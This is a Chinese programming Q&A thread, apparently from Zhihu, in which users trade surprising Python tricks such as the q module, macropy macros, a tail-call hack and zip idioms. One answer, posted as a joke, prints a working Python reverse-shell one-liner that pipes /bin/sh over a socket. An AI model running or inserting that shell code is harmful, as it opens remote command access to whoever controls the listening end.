你見過哪些令你瞠目結舌的 Python 代碼技巧?

基友問題

你見過哪些讓你瞠目結舌的JAVA代碼技巧? - Java

你見過哪些令你瞠目結舌的C/C++代碼技巧? - 互聯網

你見過哪些令你瞠目結舌的前端設計? - 程序員

你見過哪些令你瞠目結舌的Javascript代碼機技巧? - 程序員

你見過哪些令你瞠目結舌的爬蟲技巧? - 計算機

神經問題,非程序員歡迎一起來回答

你見過哪些令你瞠目結舌的神邏輯? - 生活

你見過哪些令你瞠目結舌的黑料理?

你見過哪些令你瞠目結舌的逗逼?

還有更多的,歡迎大家一起系列


當初看到這個還是覺得蠻瞠目結舌的:https://pypi.python.org/pypi/q

Quick-and-dirty debugging output for tired programmers

正如介紹所說的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起來,只是覺得這個很方便啊,可是仔細想想怎麼實現,真是。。。全是黑科技。。。

Q 的最簡單用法,列印 foo 的值:

import q; q(foo)

沒 get 到點?再看一眼,import 了一個叫 q 的 module,然後 call 了 q?不是 q.q,不是 from q import *,就是q。q 既是一個 module 又是 callable。

另一種用法,記錄某個函數被調用時候的參數和返回值:

import q
@q
def func(args):
pass

再來更黑科技一點的:

import q; q(2+3)

猜猜結果(不要在python shell里用,保存成文件執行)

[user@myvps ~]$ tail /tmp/q

0.0s &: 2+3=5

看見沒,把 2+3 列印出來了


讓我覺得瞠目結舌的要數這個Python庫了,真是將import hook用到了極致:

lihaoyi/macropy · GitHub

你問我這個有什麼屌的?

來來來,看幾個例子:

更好用的lambda表達式

from macropy.quick_lambda import macros, f, _

print map(f[_ + 1], [1, 2, 3]) # [2, 3, 4]
print reduce(f[_ * _], [1, 2, 3]) # 6

代碼跟蹤

from macropy.tracing import macros, trace
with trace:
sum = 0
for i in range(0, 5):
sum = sum + 5

輸出:

sum = 0

for i in range(0, 5):

sum = sum + 5

range(0, 5) -&> [0, 1, 2, 3, 4]

sum = sum + 5

sum + 5 -&> 5

sum = sum + 5

sum + 5 -&> 10

sum = sum + 5

sum + 5 -&> 15

sum = sum + 5

sum + 5 -&> 20

sum = sum + 5

sum + 5 -&> 25

用個contextmanager就把block里的代碼執行過程輸出了

尾遞歸優化

from macropy.experimental.tco import macros, tco

@tco
def fact(n, acc=0):
if n == 0:
return acc
else:
return fact(n-1, n * acc)

print fact(10000) # doesn"t stack overflow
# 28462596809170545189064132121198688901...

模仿LINQ的PINQ

print sql[(
x.name for x in db.country
if x.gnp / x.population &> (
y.gnp / y.population for y in db.country
if y.name == "United Kingdom"
).as_scalar()
if (x.continent == "Europe")
)]

輸出:

SELECT country_1.name

FROM country AS country_1

WHERE country_1.gnp / country_1.population &> (SELECT country_2.gnp / country_2.population AS anon_1

FROM country AS country_2

WHERE country_2.name = ?) AND country_1.continent = ?

反正我的膝蓋是交出去了,更多的例子可以去項目主頁膜拜去。


謝邀,我今天無恥一回

Dwarfartisan/pyparsec · GitHub

不許打!打也不許打臉!


我記得當初研究python對遞歸支持有多爛的時候搜到過有人通過裝飾器用一種很hack的手法,把尾遞歸的幀清了。然而現在還是看不懂它寫的是什麼鬼。

code:

import sys

class TailRecurseException:
def __init__(self, args, kwargs):
self.args = args
self.kwargs = kwargs

def tail_call_optimized(g):
"""
This function decorates a function with tail call
optimization. It does this by throwing an exception
if it is it"s own grandparent, and catching such
exceptions to fake the tail call optimization.

This function fails if the decorated
function recurses in a non-tail context.
"""
def func(*args, **kwargs):
f = sys._getframe()
if f.f_back and f.f_back.f_back and f.f_back.f_back.f_code == f.f_code:
raise TailRecurseException(args, kwargs)
else:
while 1:
try:
return g(*args, **kwargs)
except TailRecurseException, e:
args = e.args
kwargs = e.kwargs
func.__doc__ = g.__doc__
return func

刷題目的時候又看到一個,功能也差不多,感覺也是WTF!!

def memoized(f):
cache = {}
def wrapped(k):
v = cache.get(k)
if v is None:
v = cache[k] = f(k)
return v
return wrapped

@memoized
def fibonacci(n):
if n in [0, 1]:
return n
return fibonacci(n - 1) + fibonacci(n - 2)


先讓我反彈個shell冷靜一下

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);


&>&>&> a = [[1,2],[3,4],[5,6]]

&>&>&> sum(a,[])

[1, 2, 3, 4, 5, 6]

Python 真的好神奇 : )

再補充一個,Python切片:

&>&>&> l = [1,2,3]

&>&>&> l[1:1] = "a"

&>&>&> l

[1, "a", 2, 3]

Python分組list:

&>&>&> a = [1, 2, 3, 4, 5, 6]

&>&>&> zip(*([iter(a)] * 2))

[(1, 2), (3, 4), (5, 6)]


現在還玩不了大技巧~在玩pygame和~opencv的人臉識別~學習呢…現在的做法是語法方面做 pythontip的題目~然後放github上~爭取每天綠色~然後在pythontab上找點模塊做點小項目~爬蟲資料庫gui這些~最後每天看一本python第四版…能看幾頁是幾頁~結尾獻上手機python大寶! http://urlteam.org/可以來我博客看看…有很多python的學習教程與方式


我總感覺 perl 和 ruby 在這方面應該遙遙領先於 python ..


→_→下面這段居然特么混進了標準庫里,令我瞠目結舌

s = """Gur Mra bs Clguba, ol Gvz Crgref

Ornhgvshy vf orggre guna htyl.
Rkcyvpvg vf orggre guna vzcyvpvg.
Fvzcyr vf orggre guna pbzcyrk.
Pbzcyrk vf orggre guna pbzcyvpngrq.
Syng vf orggre guna arfgrq.
Fcnefr vf orggre guna qrafr.
Ernqnovyvgl pbhagf.
Fcrpvny pnfrf nera"g fcrpvny rabhtu gb oernx gur ehyrf.
Nygubhtu cenpgvpnyvgl orngf chevgl.
Reebef fubhyq arire cnff fvyragyl.
Hayrff rkcyvpvgyl fvyraprq.
Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.
Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.
Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh"er Qhgpu.
Abj vf orggre guna arire.
Nygubhtu arire vf bsgra orggre guna *evtug* abj.
Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg"f n onq vqrn.
Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.
Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg"f qb zber bs gubfr!"""

d = {}
for c in (65, 97):
for i in range(26):
d[chr(i+c)] = chr((i+13) % 26 + c)

print "".join([d.get(c, c) for c in s])

我還有一個,快速把一段序列按每N個元素組成一組,N=3時:

&>&>&> seq = range(1, 10)
&>&>&> zip(*[iter(seq)]*3)
██████████████████████

quit()


sh


前幾年剛學python的時候在一個項目里做了幾個小嘗試。

用元編程動態生成類,生成以後動態載入卸載。

把類當函數用。把函數當變數用。

花樣玩容器。

順手把其他幾種EE工程師們寫出來的五花八門的腳本包裝了一個整整齊齊。

注釋齊全,結構簡明。不是性能瓶頸,所以性能不在考慮範圍內。

結果被「資深工程師」罵成了狗,苦逼地回到了C++。其實只是他沒有用過C++以外的任何一種語言,他的邏輯是C++是所有語言的基礎,他看不懂的代碼就不是好代碼。


[::-1]


vlasovskikh/funcparserlib · GitHub

def parse(seq):
"Sequence(Token) -&> object"
...
n = lambda s: a(Token("Name", s)) &>&> tokval
def make_array(n):
if n is None:
return []
else:
return [n[0]] + n[1]
...
null = n("null") &>&> const(None)
true = n("true") &>&> const(True)
false = n("false") &>&> const(False)
number = toktype("Number") &>&> make_number
string = toktype("String") &>&> make_string
value = forward_decl()
member = string + op_(":") + value &>&> tuple
object = (
op_("{") +
maybe(member + many(op_(",") + member)) +
op_("}")
&>&> make_object)
array = (
op_("[") +
maybe(value + many(op_(",") + value)) +
op_("]")
&>&> make_array)
value.define(
null
| true
| false
| object
| array
| number
| string)
json_text = object | array
json_file = json_text + skip(finished)

return json_file.parse(seq)


當我看到Cython可以漂亮得生成c代碼時已經獻上膝蓋了


1. Lambda 匿名函數

2. 簡單強力的生成器 前面答主提到的 [x for x in range(10)] 這種都是Python生成器的強力的證明

3. all(), any() 配合上述生成器恰當的使用 讓if-else組織結構超級簡明

4. object內定的self.__dict__

5. function.__annotation__

以及變數不需要declare type


瀉藥,純瀉藥

---------------------------------

看了上面的所有回答,我一點也不感覺驚艷,我老了,不喜歡花哨。

放到6年前,我對一行快排演算法或者諸如conf = dict([i.split(":", 1) for i in open(file).readlines() if i.strip()]) 這種簡潔強大的實現還有興趣。再後來,我對各種__whatever__內置方法的重載和裝飾器等wrap方法感興趣,比如上面有人說的一個module可以__call__, 比如把一個同步調用加個裝飾器改成非同步。等到看明白了python實現,認識到「python內所有元素都是對象,對象分為可變不可變」,就沒有trick了,同時,看過N多實現的複雜的源碼後,覺得返樸歸真,能把同樣的功能寫的簡單明了不出錯的才是真trick,真的令人驚艷。

python簡潔,表達能力強,但是要記得,簡潔指的是語法,面對複雜的業務現實,正由於python的簡潔可能造成整體結構的混亂。畢竟改代碼是需要工作量的,面對一個可以隨便插口子,運行過程中可以改變一個類/函數的行為模式的語言,很多程序員修改功能的時候就怎麼簡單怎麼來,可能把一個模塊加入很多和原始設計無關的功能,可能把一個類上加入很多有關但是不必要的方法介面等等。所以,很多時候要搞明白一坨老代碼的整體結構,追python代碼反而沒有追C來的直接。

上面的這些驚艷的方法,可以學學看看,通過這個過程可以了解python的實現或者之前忽略的比較巧妙的用法,但是千萬不要為了驚艷而強用,或者明明有更簡單的方法但覺得不壞神而棄如敝履。

總結,重要的事情再說一遍:

1,對python,「所有的東西都是對象,對象分為可變不可變」。

2,對面向對象,如果可以組合,不要繼承/墮胎

2,對所有語言,最簡介有效地實現是最好的


py裝飾器啊要多驚艷有多驚艷

----------------------------------------

工作中遇到很多地方都需要使用裝飾器。

比如現在有個函數需要對其增加某些附屬功能,直接用裝飾器搞了。 例如給當前函數寫寫log打個時間戳什麼的。

還有就是代碼復用啦。

反正有了這東西就可以不停的去塞寫代碼。

缺點自己yy吧。


next((i for i in xrange(10) if i == 2), 233)


&>&>&> a = [],

&>&>&> a

([],)


import


推薦閱讀:

Windows 的 file handle 為什麼譯為「文件句柄」?
你見過哪些令人瞠目結舌的php代碼技巧?
如何看待 Windows 的 C++ 包管理器 vcpkg?
如何評價《Windows 10 development for beginners》的翻譯工作?

TAG:程序員 | Python | 編程 |